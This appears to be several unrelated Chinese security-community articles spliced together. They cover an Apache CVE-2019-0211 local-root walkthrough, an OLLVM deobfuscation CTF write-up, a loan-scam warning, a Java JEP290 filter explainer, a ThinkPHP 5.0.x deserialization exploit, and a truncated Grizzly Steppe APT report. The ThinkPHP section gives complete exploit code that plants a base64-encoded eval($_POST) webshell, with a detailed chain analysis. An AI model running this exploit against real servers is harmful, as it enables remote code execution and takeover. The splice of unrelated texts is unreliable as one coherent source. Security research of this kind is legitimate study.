mutex(0x7f1f62a321b8) => zend_array struct
properties(0x7f1f62a321d8) => zend_array struct
ar_data(0x7f1f62a321f0) => evil string
Spraying the shared memory start
evil_shm_start:0x7f1f62a32278
evil_shm_end:0x7f1f62a4a000
evil_shm_size:17d88
evil_shm_mid_addr:0x7f1f62a3e140
bucket:fe3ec349aa5
此时，共享内存中，已经被我们的恶意数据给填充。
##### 为通过gdb模拟修改bucket指向我们的恶意结构做准备
[root@bogon john]# ps -aux | grep httpd
root 19895 0.0 0.2 285296 10652 ? Ss 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19896 0.0 0.2 287512 9348 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19897 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19898 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19899 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19900 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
root 20112 0.0 0.0 112708 980 pts/2 R+ 14:30 0:00 grep --color=auto httpd
[root@bogon john]# gdb attach 19895
(gdb) break child_main
Breakpoint 1 at 0x46c000: file prefork.c, line 380.
(gdb) set follow-fork-mode child
(gdb) c
##### 执行apachectl graceful，使其优雅重启
[root@bogon john]# apachectl graceful
[root@bogon john]#
##### 修改my_bucket
我们将`my_bucket`，设置为0x7f1f62a3e140，该地址是执行恶意PHP代码时，输出的`evil_shm_mid_addr`
Continuing.
Program received signal SIGUSR1, User defined signal 1.
0x00007f1f612bdf53 in __select_nocancel () from /lib64/libc.so.6
(gdb) c
Continuing.
[New process 20155]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Switching to Thread 0x7f1f62ae9780 (LWP 20155)]
Breakpoint 1, child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=0) at prefork.c:380
380 {
(gdb) set my_bucket = 0x7f1f62a3e140
(gdb) c
Continuing.
[New process 20177]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 20177 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 1: Function "child_main" not defined.
process 20177 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-31.el7.x86_64
[Inferior 3 (process 20177) exited normally]
Missing separate debuginfos, use: debuginfo-install coreutils-8.22-23.el7.x86_64
(gdb)
##### 查看根目录，发现利用成功
? ~ ls /
bin boot dev etc hello home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www
## 0x06 EXP分析
1. 在作者提供的Exp中，没有依赖具体的硬编码数值。在`get_all_address`函数中利用 `/proc/self/maps`和文件读取的方式定位到了如下shm, system, libaprR, libaprX, apache, zend_object_std_dtor几个函数的地址以及共享内存起始地址。
2. 在`get_workers_pids`中通过枚举`/proc/*/cmdline and /proc/*/status`文件，得到所有worker进程的PID，用于后续在共享内存中定位`process_score`地址。
3. 最终在real函数中，作者通过在共享内存中查找worker process的PID从而定位到每个`process_score`结构，并利用被UAF漏洞修改过的字符串对内存进行修改。利用内存模式匹配找到`all_buckets`的起始位置，并复用了 在scoreboard中空闲的servers结构保存生成的payload。最后利用在2步中获取的worker进程id找到所有的`process_score`，将其中的bucket修改成指定可利用的值。
### 0x07 时间线
**2019-02-22** 作者发送漏洞说明和PoC到security[at]apache[dot]org
**2019-02-25** 确认漏洞，处理修复工作
**2019-03-07** Apache安全团队发送补丁给作者进行检查，并给作者分配CVE
**2019-03-10** 作者同意该补丁
**2019-04-01** Apache HTTP版本2.4.39发布
**2019-04-03** 360-CERT发布预警通告
**2019-04-03** 作者发布漏洞细节
**2019-04-08** 作者发布Exp
**2019-04-09** 360-CERT发布分析报告
### 0x08 参考链接
1. [apache scoreboard worker_record](https://www.cnblogs.com/my_life/articles/3328577.html)
2. [Apache中多任务并发处理机制研究(1)](https://blog.csdn.net/tingya/article/details/867371)
3. [源码编译安装apache](https://blog.csdn.net/m0_37886429/article/details/79643078)
4. [学习《apache源代码全景分析》之多任务并发处理摘录](https://blog.csdn.net/zhangge3663/article/details/83343937)
5. [作者发布的漏洞细节](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)
6. [在linux下的apache配置https协议，开启ssl连接](https://blog.csdn.net/h330531987/article/details/74991005)
7. [PHP编写扩展调用动态so库](https://zhuanlan.zhihu.com/p/36254933)
8. [作者发布Exp](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)
* * * | 社区文章 |
# llvm的去平坦化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> —看见while和switch不是”迷宫”，就是”虚拟”。
为了保护程序虚拟机是最常用的一种手段，并不是说用了多复杂的算法。主要是会花费大量的时间来把程序还原为本来的样子。使用OLLVM项目中的控制流平坦化、虚假控制流、指令替换等混淆策略会进一步加大分析的难度。
## Ollvm是什么
llvm是一个底层虚拟机，OLLVM（Obfuscator-LLVM）是瑞士西北应用科技大学安全实验室于2010年6月份发起的一个项目，这个项目的目标是提供一个LLVM编译套件的开源分支，能够通过代码混淆和防篡改，增加对逆向工程的难度，提供更高的软件安全性。目前，OLLVM已经支持LLVM-4.0.1版本;所使用的编译器是clang。
[详细介绍平坦化的介绍](http://ac.inf.elte.hu/Vol_030_2009/003.pdf)
[llvm的安装方法](https://www.jianshu.com/writer#/notebooks/21909981/notes/37816527)
llvm保护的大概方法是：程序主要使用一个主分发器来控制程序基本块的执行流程进而模糊每个模块之间的联系。
源代码如下：
#include <stdio.h>
int check(int a)
{
if(a>0)
return 3;
else
return 0;
}
int main()
{
int a;
scanf("%d",&a);
if (check(a)==3)
{
puts("good");
}
else
{
puts("wrong");
}
return 0;
}
正常编译如下
使用llvm编译
./build/bin/clang main.c -o test -mllvm -fla
程序流程图明显复杂很多。
看一下check函数
原程序
signed __int64 __fastcall check(__int64 a1)
{
char v1; // bl@2
signed __int64 result; // rax@8
int i; // [sp+1Ch] [bp-14h]@1
srand(0x64u);
for ( i = 0; i < strlen((const char *)a1); ++i )
{
v1 = *(_BYTE *)(i + a1);
*(_BYTE *)(i + a1) = v1 + rand() % 5;
}
if ( *(_BYTE *)a1 != 97 || *(_BYTE *)(a1 + 1) != 98 || *(_BYTE *)(a1 + 2) != 99 || *(_BYTE *)(a1 + 3) != 100 )
result = 0LL;
else
result = 4LL;
return result;
}
平坦化程序
__int64 __fastcall check(__int64 a1)
{
size_t v1; // rax@13
signed int v2; // ecx@13
char v3; // ST04_1@16
signed int v4; // eax@18
signed int v5; // eax@21
signed int v6; // eax@24
signed int v7; // eax@27
signed int v9; // [sp+44h] [bp-1Ch]@1
int v10; // [sp+48h] [bp-18h]@1
signed int v11; // [sp+5Ch] [bp-4h]@0
srand(0x64u);
v10 = 0;
v9 = 706310565;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v9 == -2109444161 )
{
v7 = 1322041670;
if ( *(_BYTE *)(a1 + 3) == 100 )
v7 = 867560817;
v9 = v7;
}
if ( v9 != -2069803162 )
break;
++v10;
v9 = 706310565;
}
if ( v9 != 306556692 )
break;
v4 = 1322041670;
if ( *(_BYTE *)a1 == 97 )
v4 = 564228819;
v9 = v4;
}
if ( v9 != 341947172 )
break;
v6 = 1322041670;
if ( *(_BYTE *)(a1 + 2) == 99 )
v6 = -2109444161;
v9 = v6;
}
if ( v9 != 564228819 )
break;
v5 = 1322041670;
if ( *(_BYTE *)(a1 + 1) == 98 )
v5 = 341947172;
v9 = v5;
}
if ( v9 != 682671478 )
break;
v3 = *(_BYTE *)(a1 + v10);
*(_BYTE *)(a1 + v10) = rand() % 5 + v3 - 97 + 97;
v9 = -2069803162;
}
if ( v9 != 706310565 )
break;
v1 = strlen((const char *)a1);
v2 = 306556692;
if ( v10 < v1 )
v2 = 682671478;
v9 = v2;
}
if ( v9 != 867560817 )
break;
v11 = 4;
v9 = 1000770411;
}
if ( v9 == 1000770411 )
break;
if ( v9 == 1322041670 )
{
v11 = 0;
v9 = 1000770411;
}
}
return (unsigned int)v11;
}
如果分析下来，难度会比较大。
## 尝试进行函数的恢复
按照如下思路进行去平坦化：
> 1. 函数的开始地址为序言的地址
> 2. 序言的后继为主分发器
> 3. 后继为主分发器的块为预处理器
> 4. 后继为预处理器的块为真实块
> 5. 无后继的块为retn块
> 6. 剩下的为无用块
>
获取相关的块列表地址，就能够通过angr定义规则，来约束函数模块。
（按照miasm功能介绍，可以获取反编译后的模块地址，但因为报错太多就放弃了。）
之后便找到了bird大佬写的脚本，将上面报错部分修改之后拿来用。
程序恢复结果：
## 2018 X-NUCA 使用脚本去平坦化
初始
恢复之后
但程序还使用了”指令替换” -subv 里面还有指令替换，好在程序的逻辑并不复杂。
第一部分比较复杂：
第二部分就比较清晰了：
根据后面的来观察执行的操作，函数加密分为两部分。每部分各16个字符，后面16个进行的是三次异或运算。所有运算的结果都储存在6130D0中，动态调试的过程中要时刻注意其中的结果。(取巧的方法：因为我们可以确定flag的前七位是X-NUCA{ ，通过结果计算，这样会更容易找到加密的位置）
str = '012345abcdefghijklmnopqrstuvwxyz'
a=[0x68,0x1C,0x7C,0x66,0x77,0x74,0x1A,0x57,0x06,0x53,0x52,0x53,0x02,0x5D,0x0C,0x5D]
b=[0x04,0x74,0x46,0x0E,0x49,0x06,0x3D,0x72,0x73,0x76,0x27,0x74,0x25,0x78,0x79,0x30]
flag1=""
flag2=""
j=0
for i in range(16):
flag1+=chr(a[i]^ord(str[i]))
for i in range(16):
j=i+16
flag2+=chr(b[i]^ord(str[j])^a[i]^ord(str[i]))
print flag1+flag2
总结：符号执行对于虚拟机的分析作用很大，且二进制分析工具了解太少，如果没有bird
大佬的脚本，现在也不能成功去平坦成功一次。而且也看到了，对于指令替换便需要重新写一新的脚本。 miasm的功能很强大，应当尽快掌握。
文章文件链接：<https://pan.baidu.com/s/1CEXUZ-Yb_t__3770WL51cw>
提取码：a0wt
## 文章参考：
bird[@tsrc](https://github.com/tsrc "@tsrc") <https://paper.seebug.org/192/>
[miasm](https://github.com/cea-sec/miasm)
[Deobfuscation: recovering an OLLVM-protected
program](https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html) | 社区文章 |
# 潜规则曝光！网贷清账中介难逃高利贷本质，利滚利压断气
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网贷盛行催生了暴力催债，更衍生了专门帮助清账的中介。网上各种论坛、社区有很多“陷网贷催收如何自救”“怎么快速清账”等问题下面，都有各种帮忙“上岸”或者清账的所谓网贷中介，对急于“上岸”的债务人，真可谓是“救命的稻草”让人想紧紧抓住，但其实这些清账中介并没有表面那么“善意”。
## 参与上岸拼团，可与贷款平台协商减息
清账中介推出拼团活动，用户拼团成功后，清账中介会与贷款平台协商减免利息、逾期费、本金折扣还款等。一些清账中介与网贷平台成功达成合作后，用户可在有效期内联系网贷平台客服，说明是某中介协商还款的客户，即可进行还款事宜。更有用户拼团成功后，本金7折还款结清，听起来好像还不错？跌破眼球在后边！
## 清账成功，逆袭上岸？只会负债更多！
那些所谓帮你清账的中介，最后只会让你负债更多的钱。有些中介会收取司法审核费、手续费，少到几百，多到几千，清账还需要发送自己的身份证信息等。曾经一位经历过清账的用户表示：“有些中介还会要求第一次合作需要在另一个平台做借条，只有这次按时还款才能得到下次大额的机会。只要你动心，对方便会接连催促你先交纳保证金，然后再给你清账。只要你犹豫，就会被踢出群。”
## 揭开清账中介真面目，潜规则你得懂
卫士妹给你算一笔账：比如月息10%，哇…利息好低？但是你和中介签订的合同写的是复利，复利有多恐怖呢，7.2个月后你所要还的利息和你的本金一样多！就算不按复利算，12个月的10%也等于120%了！
其实帮你清账就是让你借别的平台的钱还账，一种骗钱的，等用户交完各种费用后失联；另一种是让你借高利贷，先用高利贷把债务还清，之后再还高利贷，高额利息、逾期费、罚息等五花八门的费用加起来就是天价的数字让你偿还不起，到时候可真是人为刀俎你为鱼肉，只能任人宰割了。 | 社区文章 |
作者：[隐形人真忙](http://blog.csdn.net/u011721501/article/details/78555246 "隐形人真忙")
#### 0x00 前言
先说一下JEP290这个增强建议本身其实在2016年就提出来了，本身是针对JAVA 9的一个新特性，但是随后官方突然决定向下引进该增强机制，分别对JDK
6,7,8进行了支持：
<https://blogs.oracle.com/java-platform-group/filter-incoming-serialization-data-a-little-of-jdk-9-goodness-available-now-in-current-release-families>
当时pwntester大神还专门发了个推标庆祝了一下：
所以官方从8u121，7u13，6u141分别支持了这个JEP。
我为什么现在才来说这个case，因为最近测一个RMI的漏洞过程中，发现居然默认情况下把反序列化给拦截掉了，看了异常信息，发现是JDK本身造成的。后来才知道，原来这个java
9 的特性早就移植到6,7,8了。因此打算着重讨论下这个新的机制对RMI序列化的影响。
#### 0x01 JEP290介绍
JEP290主要描述了这么几个机制：
（1）提供一个限制反序列化类的机制，白名单或者黑名单
（2）限制反序列化的深度和复杂度
（3）为RMI远程调用对象提供了一个验证类的机制
（4）定义一个可配置的过滤机制，比如可以通过配置properties文件的形式来定义过滤器
实际上就是为了给用户提供一个更加简单有效并且可配置的过滤机制，以及对RMI导出对象执行检查。
其核心实际上就是提供了一个名为 ObjectInputFilter 的接口，用户在进行反序列化操作的时候，将 filter 设置给
ObjectInputStream 对象。这里就是调用 setInternalObjectInputFilter 即可：
每当进行一次反序列化操作时，底层就会根据 filter
中的内容来进行判断，从而防止恶意的类进行反序列化操作。此外，还可以限制反序列化数据的信息，比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter
返回 accept，reject 或者 undecided 几个状态，然后用户根据状态进行决策。
而对于RMI来说，主要是导出远程对象前，先要执行过滤器逻辑，然后才进行接下来的动作，即对反序列化过程执行检查。
此外，还提供了两种可配置过滤器的方式：
（1）通过设置`jdk.serialFilter`这个`System.property`
（2）直接通过`conf/security/java.properties`文件进行配置
具体规则方面的内容可以直接参考原始链接：
<http://openjdk.java.net/jeps/290>
#### 0x02 RMI的过滤机制
RMI这个就不多介绍了，给出一张原理图：
RMI将网络通信的部分进行了抽象，这部分逻辑对于用户来说是透明的，其实是通过动态代理机制来实现的，通过Stub和Skel这两个代理对象，完成了对远程对象的调用。
扯远了，我们还是看看RMI中新加入的过滤机制。
首先先要复现该问题，自己写一个 RMI Server，然后启动起来。之后，写一个 RMI Client，调用 bind 方法将恶意的类发送给
Server。结果直接抛出异常：
同时 Server 的控制台打印出来错误日志：
可以看到，是在处理远程对象代理的时候，没有通过 filter 的校验从而报错。
我使用的是 8u131 进行调试，直接来到 RegistryImpl_Skel 类中的46行代码，这里就是导出远程对象：
readObject 正是在执行反序列化操作，单步跟进，就来到了 ObjectInputStream 的 readObject 方法中，调用的是
readObject0 方法：
接下来是 readOrdinaryObject-> radClassDesc->readProxyDesc，然后获取里面的接口并调用 filterCheck
方法一个个检查，最后再对对象本身进行一次检查：
来到filterCheck方法中：
可以看到这里调用了 ObjectInputStream 中的 serialFilter 属性的 checkInput 方法，最后真正检查的是
RegistryImpl.registryFilter 方法，针对远程对象的检查条件如下：
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
可以看到直接把 AnnotationInvocationHandler 给禁用掉了，所以这个方法肯定是要返回 REJECTED
状态了，因此直接就抛了异常出来。
#### 0x03 思考
ObjectInputFilter
的引入是给了用户一个非常方便并且很官方的反序列化过滤机制，因此用好它可以很方便的写出过滤代码，思考一下反序列化刚出现的那会儿，还得自己去编码实现过滤机制，稍有不慎就会出问题。但是有了
Filter 机制，并不代表一定不会出问题，原因是开发者使用黑名单机制还是有可能漏掉一些lib或者有新的 gadgets
出现。所以以后反序列化漏洞还是可以玩一段时间，毕竟底层开发者技术跟进需要时间。
最后说一句，RMI 这种粗暴的过滤我实在保留意见，因为可能会让很多基于 RMI 的程序面临兼容性问题。
* * * | 社区文章 |
# 漏洞复现
exp
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo urlencode(serialize($windows));
}
写入成功
http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php
文件内容
# 利用链分析
1. thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles
2. removeFiles，调用file_exists触发__toString
3. thinkphp/library/think/Model.php **tostring- >toJson->toArray 最终调用`**call`
4. thinkphp/library/think/console/Output.php __call 调用Output类的block
5. thinkphp/library/think/console/Output.php block调用writeIn->write，最后调用$this->handle->write()，全局搜索write方法
6. thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set()，全局搜索set
7. thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件，但是参数不可控，继续进入setTagItem
8. setTagItem再次调用set，此时参数可控，写入webshell
1.thinkphp/library/think/process/pipes/Windows.php
起点：__destruct
调用removeFiles方法
2.thinkphp/library/think/process/pipes/Windows.php
removeFiles中调用了file_exists，触发__toString
3.thinkphp/library/think/Model.php
__toString->toJson->toArray：
执行到`$item[$key] = $value ? $value->getAttr($attr) :
null;`就能够执行Output类`__call`魔术方法
详细看toArray
执行到`$item[$key] = $value ? $value->getAttr($attr) :
null;`就能够执行Output类`__call`魔术方法
需要让$value等于Output类
需要满足条件进入else分支
1. $this->append不为空
2. $bindAttr
$value是包含__call方法的类，也就是Output类，$attr是传入的参数。来看一下$value和$attr的来源
**$value变量来源**
$value的赋值过程
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
让$relation等于Model类的getError()，这样$modelRelation就等于$this->error，$modelRelation可控
进入getRelationData，传入的$modelRelation必须是Relation类型，全局搜索找到符合要求的类HasOne
需要满足三个条件进入if分支，才能使$value可控，等于$this->parent
$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
第一个条件：$this->parent就是$value的来源，等于Output类
来看一下如何满足第二个条件
!$modelRelation->isSelfRelation()
HasOne类是OneToOne类的子类，同样继承了Relation
/thinkphp/library/think/model/Relation.php
isSelfRelation方法，需要让$this->selfRelation为false
第三个条件，需要让$modelRelation->getModel()返回Output类
get_class($modelRelation->getModel()) == get_class($this->parent)
/thinkphp/library/think/model/Relation.php
Relation的getModel方法可以调用任意类的getModel方法，全局搜索getModel()
/thinkphp/library/think/db/Query.php
Query类的getModel方法直接返回$this->model，让model属性等于output就可以了
**$attr的来源**
$modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类，全局搜索存在getBindAttr方法的类
/thinkphp/library/think/model/relation/OneToOne.php
找到符合要求的类OneToOne，上面已经用了它的子类HasOne，所以直接改HasOne的bindAttr属性就行
先构造部分poc，目的是成功调用到Output类的__call
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Pivot是Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error=Hasone类
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //$modelRelation->getModel()等于Output类
}
}
}
//__call
namespace think\console{
class Output
{
public function __construct()
{
}
}
}
//HasOne类继承自Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'a']; //控制__call的参数$attr
}
}
}
namespace {
$output=new think\console\Output();
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo urlencode(serialize($windows));
}
成功调用了Output类的__call
4./thinkphp/library/think/console/Output.php
Output类的__call，调用block方法
5./thinkphp/library/think/console/Output.php
Output类的block方法调用了writeIn，$message就是HasOne类的属性bindAttr数组的值，是可控的。格式如下
<getAttr>admin</getAttr>
6./thinkphp/library/think/console/Output.php
Output类的writeIn方法调用了write方法，$this->handle可控，可以调用任意类的write方法。全局搜索write方法
7.thinkphp/library/think/session/driver/Memcached.php
找到Memcached类的write方法，可以调用任意类的set方法，全局搜索set方法
8.thinkphp/library/think/cache/driver/File.php
最后找到File类，set方法中可以调用file_put_contents方法写入shell。
第一个参数$name是从block方法那里传入的，还是
<getAttr>admin</getAttr>
第二个参数$value固定为false
文件名$filename来源于getCacheKey，实际上等于
$filename = $this->options['path'] . md5($name) . '.php';
也就是
$filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';
可以通过$this->options['path']控制文件名
还有个问题，文件内容不可控。
$data来自于set方法的参数$value，而$value的值固定为true，而且$expire只能为数值，
9.thinkphp/library/think/cache/driver/File.php
继续执行进入setTagItem，再次调用set，两个参数都可控了
现在第一个参数$name等于
'tag_' . md5($this->tag);
$value就是上面的$filename
$value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit()，写入webshell
原理见：<https://xz.aliyun.com/t/7457>
一共会写入两个文件，第一个文件内容不可控，第二个才是webshell
a.php3b58a9545013e88c7186db11bb158c44.php
# 总结
实际测试在5.0.24和5.0.18可用，5.0.9不可用
要点：
1. Model类的`__toString`调用Output类的`__call`的条件
2. 二次调用set实现内容可控
3. 用过滤器绕过文件名和exit()
借用文章里的图总结一下
# 参考
<https://xz.aliyun.com/t/7457>
<https://www.anquanke.com/post/id/196364>
<https://xz.aliyun.com/t/7082> | 社区文章 |
# “灰熊草原”国家级的网络攻击到底该如何防御？
|
##### 译文声明
本文是翻译文章，文章来源：360企业安全
译文仅供参考，具体内容表达以及含义原文为准。
日前，美国联邦调查局FBI与美国国土安全部DHS联合发布了一份题为《灰熊草原-俄罗斯的恶意网络活动》的联合分析报告，对于俄罗斯涉嫌干预美国大选的更多网络攻击细节进行了分析和公布。
在2016年美国总统大选中，美国民主党国会竞选委员会网站被黑、希拉里邮件门、美国大选投票系统被入侵等一系列的黑客事件，直接影响到了美国大选的结果。
美国17个情报机构2016年10月得出一致结论，指认俄罗斯政府授意并帮助黑客入侵美国网络，意在影响美国总统选举。大选刚尘埃落定，美国开始扬言报复，12月29日，白宫正式就黑客干扰美国大选对俄罗斯发起制裁。
**“灰熊草原”都干了些什么？**
根据美国情报机构的评估和几家独立安全公司的说法，“灰熊草原”在去年和今年春天渗透进民主党全国委员会的电子邮件服务器之中。“灰熊草原”还入侵了希拉里的竞选团队主席约翰·D·波德斯塔的私人电子邮件账户。
美国政府称今年夏天，与俄罗斯政府有关的中间人将这些电子邮件传递给维基解密和一个名为Guccifer
2.0的匿名WordPress博客。这几个渠道公开了相关电子邮件，导致了持续几个星期对希拉里竞选活动不利的报道。
美国政府在灰熊草原行动报告中指出，俄罗斯民事与军事情报机构对美国政府及其公民进行了高复杂度网络入侵行动。此轮网络活动包括针对政府机构、关键性基础设施、智库组织、高校、政治团体以及企业的窥探活动，同时亦包括从这些组织机构处窃取信息，相关被盗信息随后由第三方加以公开发布。
**“灰熊草原”攻击手法分析**
《灰熊草原-俄罗斯的恶意网络活动》分析报告重点公布了灰熊草原行动中的两个黑客组织APT28、APT29的攻击手法。同时根据报告显示，APT
29从2015年夏天开始便入侵政党内部系统窃取资料，而另一个组织APT28从2016年春天开始就针对美国政党进行恶意网络活动。
360资深安全专家胡星儒表示，
“灰熊草原”在网络攻击中主要使用鱼叉邮件作为其攻击手段(在APT攻击中鱼叉邮件攻击是主要的载荷投递方式)，如360天眼实验室披露的海莲花组织、摩诃草组织都主要使用鱼叉邮件进行攻击。
进一步“灰熊草原”网络攻击中的鱼叉邮件攻击主要是以发送恶意链接来诱导被攻击目标访问钓鱼网站，继而导致用户信息或密码被窃取，或者通过恶意链接下载恶意程序导致被攻击目标系统被感染，继而被攻击者所控制。
**APT28的主要攻击步骤**
1、APT28发送邮件给目标人员并诱骗他们去伪造的钓鱼网站修改个人信息及密码；
2、目标人员点击链接会被重定向到APT28精心准备的钓鱼网站，并获取用户输入的信息及密码；
3、APT28使用这些获取到的账号和密码，登录目标系统并窃取大量敏感信息。
**APT29的主要攻击步骤**
1、2015年夏天，APT29 使用合法的域名，发送超过1000封钓鱼邮件给政府官员，邮件内容中含有恶意链接；
2、至少有一名收件人点击激活了此恶意链接并下载木马；
3、APT29通过此木马，向目标政党组织的IT系统上传恶意软件；
4、APT29通过控制主机、提权，暴力破解域、账号、密码等方式，获取部门账号和密码；
5、APT29使用这些账号和密码获取了更多敏感信息，并通过加密通道，以邮件的方式把这些信息传输出去。
**企业如何预防“灰熊草原”类型的网络攻击？**
在灰熊草原行动报告中，美国对于入侵行动所使用的全球各计算机、服务器与其它设备之相关信息进行了公布，同时也公布了俄罗斯情报部门通常如何实施恶意活动的相关信息，这部分信息能够帮助网络防御方了解对手的运作方式，从而进一步识别新型攻击活动或者破坏俄罗斯方面正在执行的现有入侵行为。
最后，报告还给出了安全防御的建议：
1.备份：我们是否对全部关键信息进行了备份？这些备份是否以离线方式存储？是否测试了自身在遭遇攻击事件时恢复备份信息的能力？
2.风险分析：我们是否对组织机构进行了网络安全风险分析？
3.人员培训：我们是否就网络安全最佳实践对人员进行了培训？
安全漏洞扫描与补丁修复：我们是否定期对网络及系统进行扫描？我们是否已经妥善修复了已知的系统安全漏洞？
4.应用程序白名单：我们是否仅允许获准程序运行在我们的网络当中？
5.事件响应：我们是否具备事件响应的能力？我们是否进行过实践演练？
6.业务连续性：我们能否在无法访问某些特定系统的情况下继续维持业务正常运营？这样的运营状态能够持续多长时间？
7.渗透测试：我们是否尝试过入侵自己的系统，从而测试自身系统的安全性与攻击防御能力？
**360企业安全为用户构筑“四道防线”**
针对“灰熊草原”类型的网络攻击，360企业安全给出了更加适合国内政企用户的完整网络安全解决方案。
针对威胁的多样化、体系化，防御体系需利用好先发优势，在各个层面进行纵深覆盖，实现风险分化、协同互补，为此360企业安全构建了一整套环环相扣的四重纵深防御体系（云端威胁感知、边界防护、业务防护、数据防护防线）。从云端到终端、从业务到数据、从个人到企业、从事前到事后，为用户提供无所不在的保护，不仅聚焦具体安全威胁的防护，更致力于打造企业信息安全生态环境。在当今云计算和大数据时代，为用户提供多层次、多维度、体系化纵深防御的解决方案，帮助用户综合提升应对新型安全威胁的能力，真正做到有效安全。
**第一道防线：威胁感知**
360企业安全作为拥有全球领先威胁情报能力的安全厂商，建立了基于大数据安全分析和威胁情报的云计算中心，形成了有效对抗新型威胁的防御和检测体系。通过该体系，可以挖掘未知威胁、预知风险，让用户全面、快速、准确的感知过去、现在、未来的威胁态势，同时经过提炼后的情报信息会实时同步到边界、业务、数据安全防护体系产品中，大幅提升边界、业务、数据安全防护体系的防护能力。
**第二道防线：边界防护**
基于用户业务风险和控制需求不同，用户网络会被划分成不同的物理/逻辑区域。无论是安全区域边界、互联网出口边界、移动接入边界、无线接入边界，360企业安全都具有健全的边界立体防控体系，基于天擎、天堤、鹰眼等产品实现边界协同防御，同时通过与威胁情报中心的情报交互，以及流量的上下文情景感知分析，实现动态策略自动下发与阻断，将已知或未知威胁阻挡在边界之外，有效保护各边界区域的网络信息安全。
**第三道防线：业务防护**
